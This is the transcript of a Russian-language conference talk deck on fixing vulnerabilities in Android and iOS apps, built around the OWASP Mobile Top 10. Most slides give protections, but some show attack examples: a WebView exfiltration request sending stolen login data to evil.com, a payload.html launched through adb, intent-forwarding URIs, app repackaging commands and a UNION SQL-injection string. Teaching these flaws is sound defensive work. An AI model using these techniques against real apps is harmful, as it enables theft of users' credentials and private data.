Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Устранение уязвимостей в мобильных приложениях

Устранение уязвимостей в мобильных приложениях

Доклад Николая Анисени (Positive Technologies) для PDUG-секции на IT-фестивале TechTrain.

Positive Development User Group

September 01, 2018
Tweet

More Decks by Positive Development User Group

Other Decks in Programming

Transcript

  1. Заголовок whoami Руководитель группы исследований безопасности мобильных приложений Positive Technologies

    [email protected] - Десятки мобильных приложений под Android и iOS ежегодно - Мобильный банкинг, мессенджеры, приложения операторов связи - Обучение принципам безопасной разработки
  2. Заголовок Статистика уязвимостей собильных банков iOS Android Server-side Небезопасное хранение

    данных Недостаточная защита от подбора аут. данных Небезопасная передача данных Небезопасное межпроцессное взаимодействие Доли мобильных банков по максимальному уровню риска уязвимостей Топ-5 уязвимостей клиентских частей мобильных банков
  3. Заголовок Поверхность атаки • На сервере • В канале передачи

    данных • На устройстве в виде вредоносного приложения • Иметь физический доступ (кража, утеря устройства)
  4. Заголовок Условное разделение нарушителей Удаленный нарушитель • На сервере •

    На другом клиенте • В канале связи Локальный нарушитель (вредоносное ПО) Физический доступ к устройству • Кража или утеря • Кратковременный доступ • Доступ по USB с доверенного компьютера
  5. Заголовок Подпись и шифрование приложений Android - Требуется подпись приложения

    для установки - Можно устанавливать из Google Play, альтернативных маркетов, приложения с самоподписанным сертификатом - Обновление приложения происходит только если сертификат совпадает с сертификатом установленной версии - на основании сертификата можно запускать приложения от имени одного пользователя и выдавать разрешения - App Signing v1, v2 – изменить сертификат нельзя, v3 – можно - Приложение не шифруется
  6. Заголовок Подпись и шифрование приложений App Signing v1, signed JAR

    META-INF/ - MANIFEST.MF = хеши всех файлов apk - CERT.SF = хеш файла MANIFEST.MF и хеши хешей из MANIFEST.MF - CERT.RSA/CERT.DSA = подпись файла CERT.SF и сертификат
  7. Заголовок Подпись и шифрование приложений App Signing v2, Android 7.0+

    APK Signing Block App Signing v3, Android 9.0+ позволяет сменить сертификат
  8. Заголовок Подпись и шифрование приложений iOS - Для установки необходима

    подпись приложения - Общий Keychain для одного и того же сертификата - Допустимы только сертификаты от Apple - При установке не через AppStore необходимо вручную подтвердить доверие к сертификату - Приложение шифруется при скачивании из AppStore уникальным для AppleID ключом
  9. Заголовок Проверка приложений в маркетах App Store Review отклоняет следующие

    приложения: - Приложения с закладками и недокументированными возможностями - Использующие приватные API - Выполняющие загрузку кода извне - Выходящие за свой участок при работе с памятью - Злоупотребляющие личными данными пользователей - … Google Play отклоняет следующие приложения: - Использующие личные данные без согласия пользователя - Запрашивающие не нужные для функционирования разрешения - Hacker tools - Имитирующие функции системы (“Your Android has I Virus!”) - Несанкционированное изменение настроек устройства - …
  10. Заголовок Sandboxing: файловая система Файловая система Android - Каждое приложение

    имеет свой UID на устройстве - Домашний каталог приложения находится по адресу /data/data/com.example.app/ и доступен только ему - Права по умолчанию: 751 до версии 6.0, 700 после 6.0 - /data/data/com.example.app/shared_prefs/ содержит файлы настроек, xml - /data/data/com.example.app/databases/ содержит базы данных sqlite (*.db) - /data/data/com.exapmle.app/app_webview/ содержит кэш WebView и файлы Cookie - Дополнительная защита по умолчанию с помощью SELinux в Android 9.0+ (targetSdkVersion >= 28) - /sdcard – world readable
  11. Заголовок Sandboxing: файловая система Файловая система iOS - Каждое приложение

    имеет доступ только к своему контейнеру в файловой системе /var/containers/Bundle/Application/D1FDA1C6- D161-44D0-BA5D-60F73BB18B75/ - Documents используется для сохранения данных, созданных пользователем, есть возможность делиться данными - Library – все, что не относится к данным пользователя, поддиректории хранят то, что не должно быть доступно пользователю - Tmp – временные файлы - Файлы шифруются в зависимости от выбранного уровня защиты
  12. Заголовок Sandboxing: межпроцессное взаимодействие Android IPC - Взаимодействие различных компонентов

    одного приложения, взаимодействие компонентов разных приложений, запрос ресурсов у ОС – все есть межпроцессное взаимодействие - Любое межпроцессное взаимодействие осуществляется через Binder, передаются объекты Parcel - Intent – межпроцессное сообщение, работает поверх Binder - Разделяют экспортированные и приватные компоненты приложений, описываются в AndroidManifest.xml: - Activity - Service - BroadcastReceiver (можно не описывать) - ContentProvicer
  13. Заголовок Sandboxing: межпроцессное взаимодействие iOS IPC - App URLs: -

    mailto: - sms: - myCustomURL://doSomething?arg=val - можно проверить отправителя - universal links (только http/https) - App Extensions - Today - Share - Action - Photo - Document Provider - Keyboard - Есть возможность запретить взаимодействие с расширениями
  14. Заголовок Аппаратная защита Secure Enclave - Аппаратный криптопроцессор в мобильном

    устройстве - Изолирован от остальной системы на аппаратном уровне - Обеспечивает шифрование, подпись - Аппаратную генерацию случайных чисел Secure Element - Микросхема для финансовых операций - Взаимодействует с платежным терминалом напрямую Trusted Execution Environment (TEE) - Изолированное окружение для исполнения доверенных программ - Не доступно для основной ОС в случае ее компрометации
  15. Заголовок Защищенное хранение данных iOS Keychain - Зашифрованная база данных

    SQLite для безопасного хранения ключей шифрования и токенов - Допускает сохранение при резервном копировании - Начиная с iOS 9.0 шифрование выполняется с помощью Secure Enclave - Данные могут быть доступны всем приложениям, подписанным одним и тем же ключом - По умолчанию данные не удаляются после удаления приложения Встроенный криптопроцессор использует уникальный вшитый ключ AES-256, либо ключ, сгенерированный внутри Secure Enclave.
  16. Заголовок Защищенное хранение данных Android Hardware Keystore - Контейнер для

    хранения ключей - Ключи используются без извлечения из Keystore - Криптографические операции над ключами выполняются в системном процессе либо с использованием TEE, SE - Может использовать аппаратный генератор случайных чисел для генерации ключей
  17. Заголовок Биометрическая аутентификация Android Fingerprint - Распознавание выполняет программно- аппаратный

    комплекс производителя - Распознавание происходит в TEE - Может быть использовано совместно с Keystore, минуя недоверенную среду
  18. Заголовок Биометрическая аутентификация iOS Touch ID, Face ID - При

    блокировке устройства с Face ID или Touch ID ключи, использующиеся для защиты данных, не удаляются, а сохраняются в Secure Enclave - Face ID и Touch ID проводят распознавание лица в Secure Enclave - Используется для Apple Pay - Данные Face ID и Touch ID не попадают в резервные копии - Face ID и Touch ID можно использовать для доступа к Keychain
  19. Заголовок Root / jailbreak - Просто получить (много разных производителей

    устройств) для Android, сложно – для iOS - Максимальный доступ к ОС - Чтение, запись любых файлов - Межпроцессное взаимодействие без ограничений - Доступ к микрофону, камере, геопозиции, сети (мониторинг трафика) и пр. - Доступ к отладке любого процесса - Отсутствует доступ к TEE, Secure Enclave, Keystore, Keychain однако есть возможность с помощью отладки процесса использовать TEE, чтобы расшифровать/зашифровать данные или подписать/проверить подпись. Сами ключи из TEE при этом не доступны
  20. Заголовок Вывод логов До версии Android 4.1 любое приложение может

    читать логи других приложений на устройстве. После 4.1 – используя adb при подключении по usb к доверенному компьютеру. Логи iOS приложений можно читать с помощью Xcode при подключении к доверенному компьютеру по USB.
  21. Заголовок Хранимые данные: резервное копирование $ adb backup –f myAndroidBackup.ab

    com.corp.appName $ dd if=myAndroidBackup.ab bs=4K iflag=skip_bytes skip=24 | openssl zlib –d > myAndroidBackup.tar
  22. Заголовок Отсутствие PIN-кода на устройстве при физическом доступе - Доступ

    к пользовательским файлам - Включение режима отладки - доступ к данным, сохраненным в keychain/keystore - доступ к файлам из домашнего каталога приложения - мониторинг трафика - установка недоверенного сертификата - отключение проверки сертификата SSL - выполнение действий от имени пользователя - Установка/переустановка приложения - Больше возможностей выполнить root / jailbreak и получить доступ ко всем файлам на устройстве
  23. Заголовок Установка вредоносных приложений Имеются следующие возможности установки приложений «в

    обход» проверки подписи и проверки приложений в маркетах: 1. Для подписи Android-приложений можно использовать самоподписанные сертификаты. Если поставить галочку «неизвестные источники» в настройках, то будет разрешена установка таких приложений: • из сторонних маркетов • загруженных с веб-сайтов, полученных по Bluetooth, malvertising, добавленных через ПК • используя adb по USB с доверенного компьютера или с любого компьютера до версии Android 4.0 • используя исходный код и Android Studio 2. Для установки приложения не из App Store на устройство с iOS необходимо вручную подтвердить доверие к сертификату устанавливаемого приложения. Сертификат обязательно должен быть выдан Apple. Далее установить приложение можно следующими способами: • через Cydia Impactor с использованием доверенного компьютера • через Android Studio / Xcode
  24. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность Модификация кода • Перепаковка банковского приложения для «фишинга» • Модификация кода во время исполнения (XPosed, Frida) Скрытая функциональность • Отладочные библиотеки • Функциональность «в разработке» Слабость к анализу бинарных файлов • Чувствительные данные в коде: ключи шифрования, аутентификационные данные и серверные пути • Имена классов, методов (в том числе в отладочных строках) • Сообщения логов
  25. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность objection patchipa --source my-app.ipa --codesign-signature 0C2E8200Dxxxx Листинг файлов установленного приложения, модифицированного с помощью objection
  26. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность apktool d app.apk apktool b app_folder new_app.apk java -jar signapk.jar certificate.pem key.pk8 new_app.apk app-signed.apk
  27. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность
  28. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность
  29. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность
  30. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность
  31. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность Защита: • Использовать обфускаторы (для Android – minifyEnabled = true, proguard) • Не зашивать в код чувствительную информацию • Постоянно совершенствовать защиту кода
  32. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных Где могут храниться данные: • Android: /sdcard, /data/data/<app-id>/ iOS: /var/mobile/Containers/Data/Application/<uuid>/ • WebView cache & cookies • Keystore / Keychain с небезопасными флагами • Скриншоты Android: /data/system/recent_images/ iOS: /private/var/mobile/Containers/Data/Application/<uuid> /Library/Caches/Snapshots/<bundle-id>/ Распространенные ошибки: • Сохранение данных, когда можно не сохранять • Сохранение аутентификационных данных в открытом виде • Сохранение ключей шифрования рядом с зашифрованными данными • Сохранение файлов в общедоступных каталогах • Сохранение Cookie в компонентах WebView • Сохранение скриншотов
  33. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных /sdcard/ /data/data/<app-id>/shared_prefs/<app-id>.xml
  34. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных /var/mobile/Containers/Data/Application/<uuid>/
  35. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных kSecAttrAccessibleAlways kSecAttrAccessibleAfterFirstUnlock kSecAttrAccessibleWhenUnlocked kSecAttrAccessibleAlwaysThisDeviceOnly kSecAttrAccessibleWhenUnlockedThisDeviceOnly kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
  36. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных https://developer.android.com/training/articles/security-tips setUnlockedDeviceRequired(true) isInsideSecureHardware() KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType()); // get user password and file input stream char[] password = getPassword(); try (FileInputStream fis = new FileInputStream("keyStoreName")) { ks.load(fis, password); }
  37. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных Защита: • Хранить меньше • Сохранять не в общедоступных каталогах • Использовать надежную криптографию • Не хранить ключи шифрования • использовать Keystore (Android) / Keychain (iOS) • Отключать кэширование и сохранение Cookie в WebView • Использовать фоновое изображение при сворачивании приложения, отключить автоматическое создание скриншотов
  38. Заголовок Слабая криптография Распространенные ошибки: - Кодирование – не шифрование

    - Самописные алгоритмы шифрования - Собственные реализации криптопротоколов (DoS через diffie-helman) - Использование слабых алгоритмов шифрования и хэш-функций (md5), а также стойких алгоритмов со слабыми параметрами (AES ECB, RSA 512 bit) - Неправильное хранение ключей - Соль в коде приложения - Выработка ключей из пользовательского ввода с низкой энтропией OWASP Mobile TOP 10: M5 Insufficient Cryptography Слабая криптография
  39. Заголовок Слабая криптография OWASP Mobile TOP 10: M5 Insufficient Cryptography

    Слабая криптография Защита: • Использовать проверенные реализации стойких алгоритмов шифрования, хэширования (AES 128 CBC, RSA 2048, SHA256, …) • Использовать проверенные криптопротоколы и их проверенные реализации • Генерировать «соль» на устройстве • Использовать надежные криптографические параметры: ключи достаточной длины, пароли и пинкоды с высокой энтропией • Не зашивать ключи в код приложения и не хранить их на устройстве
  40. Заголовок Небезопасная передача данных Распространенные ошибки - Доверие системному хранилищу

    сертификатов - Ошибки реализации SSL-пиннинга (Android, iOS) - Передача данных без шифрования (например, http, sip, rtp, голый tcp) - Внешние HTTP-ссылки OWASP Mobile TOP 10: M3 Insecure Communication Небезопасная передача данных
  41. Заголовок Небезопасная передача данных OWASP Mobile TOP 10: M3 Insecure

    Communication Небезопасная передача данных
  42. Заголовок Небезопасная передача данных OWASP Mobile TOP 10: M3 Insecure

    Communication Небезопасная передача данных
  43. Заголовок Небезопасная передача данных OWASP Mobile TOP 10: M3 Insecure

    Communication Небезопасная передача данных
  44. Заголовок Небезопасная передача данных OWASP Mobile TOP 10: M3 Insecure

    Communication Небезопасная передача данных Защита: • Для ссылок использовать только схему https:// • Использовать шифрование для защиты передаваемых данных • Не отключать проверку сертификатов • Зашивать сертификат в код (Certificate Pinning) и всегда использовать его для установления защищенного соединения, в т.ч. в WebView.
  45. Заголовок Ошибки авторизации и аутентификации Распространенные ошибки: - Аутентификация на

    клиенте - Слабая защита от перебора (локального или на сервере) либо ее отсутствие - Низкая энтропия паролей (например, 4 десятичных цифры) - Обход двухфакторной аутентификации - Автоматическое распознавание смс с ОТП - Использование QR-кода для инициализации генератора ОТП, когда сканирует код другое приложение - Пуш-сообщения продолжают приходить после нажатия кнопки «выйти» - Не завершается сессия при нажатии на кнопку «выйти» OWASP Mobile TOP 10: M4 Insecure Authentication & Authorization Ошибки аутентификации и авторизации
  46. Заголовок Ошибки авторизации и аутентификации OWASP Mobile TOP 10: M4

    Insecure Authentication & Authorization Ошибки аутентификации и авторизации
  47. Заголовок Ошибки авторизации и аутентификации OWASP Mobile TOP 10: M4

    Insecure Authentication & Authorization Ошибки аутентификации и авторизации Защита: • Реализация аутентификации согласно стандартам (высокая энтропия паролей, достаточная длина паролей, пин-кода, блокировка подбора, …) • Использовать разные секретные значения для локальной аутентификации (секретная фраза для выработки ключа шифрования) и аутентификации через сервер (логин и пароль) • Разработка и реализация политики безопасности • Использование программных или аппаратных генераторов одноразовых паролей вместо смс- сообщений • Обеспечить корректный механизм завершения сессии (сессия завершается как на клиенте, так и на сервере, а также отключаются пуш-сообщения)
  48. Заголовок Обход архитектурных ограничений Распространенные ошибки: - Небезопасное использование WebView

    - Небезопасное межпроцессное взаимодействие - Глобальные broadcast - Intent forwarding - Экспортированные компоненты - Отсутствие фильтрации во входящих Intent или параметрах App URL - Обращение к собственным компонентам через App URL - Непреднамеренная утечка данных - Временные файлы OWASP Mobile TOP 10: M1 Improper platform usage Обход архитектурных ограничений
  49. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений
  50. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений // WKWebView NSSet *websiteDataTypes = [NSSet setWithArray:@[WKWebsiteDataTypeDiskCache, WKWebsiteDataTypeMemoryCache]]; NSDate *dateFrom = [NSDate dateWithTimeIntervalSince1970:0]; [[WKWebsiteDataStore defaultDataStore] removeDataOfTypes:websiteDataTypes modifiedSince:dateFrom completionHandler:^{ }];
  51. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений Доступ к приватному каталогу Android-приложения через WebVIew
  52. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений /sdcard/payload.html $ adb shell am start -d "file:///sdcard/payload.html" nanisenya.app_android/ .MainActivity
  53. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений GET /%3C?xml%20version='1.0'%20encoding='utf- 8'%20standalone='yes'%20?%3E%0A%3Cmap%3E%0A%3Cstring%20name=%22LOGIN%22%3Ealice%3 C/string%3E%0A%3Cstring%20name=%22PASSWORD%22%3Eqwerty123%3C/string%3E%0A%3C/map% 3E%0A HTTP/1.1 Host: evil.com Origin: file:// X-Requested-With: nanisenya.app_android ... Connection: close Доступ к приватному каталогу Android-приложения через WebVIew
  54. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений WKWebView • Доступ к сookie, кэшу (можно очистить) содержимому страниц • Данные остаются в песочнице приложения • Доступ к приложению из javascript SFSafariViewController • Возможность использовать аутентификацию пользователя на других сервисах (Safari Cookie) • Данные сохраняются глобально в Safari • Возможность CSRF-атаки • Уязвимость к UXSS-технике через iOS share/action extension
  55. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений adb shell am broadcast –d com.example.myapplication/.MyReceiver
  56. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений
  57. Заголовок Обход архитектурных ограничений Dispatcher Activity exported= “true” Settings Activity

    exported= “false” Payment Activity exported= “false” Internal Activity exported= “false” Входящий Intent Перенаправленный Intent Intent Forwarding
  58. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений Intent intent = Intent.parseUri(uri); startActivity(intent); intent://foobar/#Intent;action=myaction1;type=text/plain;S.xyz=123;end intent:#Intent;S.XXX=123;SEL;component=com.android.chrome/.xyz;end
  59. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений android.preference.PreferenceFragment
  60. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений android.preference.PreferenceFragment
  61. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений android.preference.PreferenceFragment
  62. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений Уязвимость присутствует если • Android < KitKat • TargetSDK < KitKat (import android.support.v4.app.Fragment;) • Используются сторонние библиотеки (например, для корректной работы интерфейса на разных версиях Android), переопределяющие поведение фрагментов
  63. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений Вызов openURL / open myAppURL://login Для схемы myAppURL:// может существовать несколько обработчиков, но вызывается всегда только один (и всегда один и тот же).
  64. Заголовок Обход архитектурных ограничений Защита - Использовать WebView с безопасными

    настройками (не хранить кэш и cookie, не допускать попадания недоверенного javascript-кода) - Использовать самые новые SDK - Межпроцессное взаимодействие - Использовать LocalBroadcastManager - Не экспортировать компоненты, предназначенные для использования только внутри приложения - Для фрагментов использовать isValidFragment - Фильтровать входящие Intent и параметры App URL - Не использовать App URL для взаимодействия внутри iOS-приложения, либо использовать Universal Links OWASP Mobile TOP 10: M1 Improper platform usage Обход архитектурных ограничений
  65. Заголовок Прочее Наложение поверх других окон – по большей части

    недостаток ОС. Некоторую защиту удалось реализовать проекту Android Overlay Protector
  66. Заголовок Прочее String query = "SELECT * FROM messages WHERE

    msg LIKE '%" + q + "%'"; Cursor c = MainActivity.this.db.rawQuery(query); sqlite> .tables android_metadata messages private_messages
  67. Заголовок Прочее SELECT * FROM messages WHERE msg LIKE '

    UNION SELECT * from private_messages -- %'"; q = "' UNION SELECT * from private_messages -- "
  68. Заголовок Прочее Защита - Использовать собственную клавиатуру для ввода аутентификационных

    данных, запретить использование клавиатурных расширений - Фильтровать данные при работе с HTML, Javascript, CSS, SQL, XML, …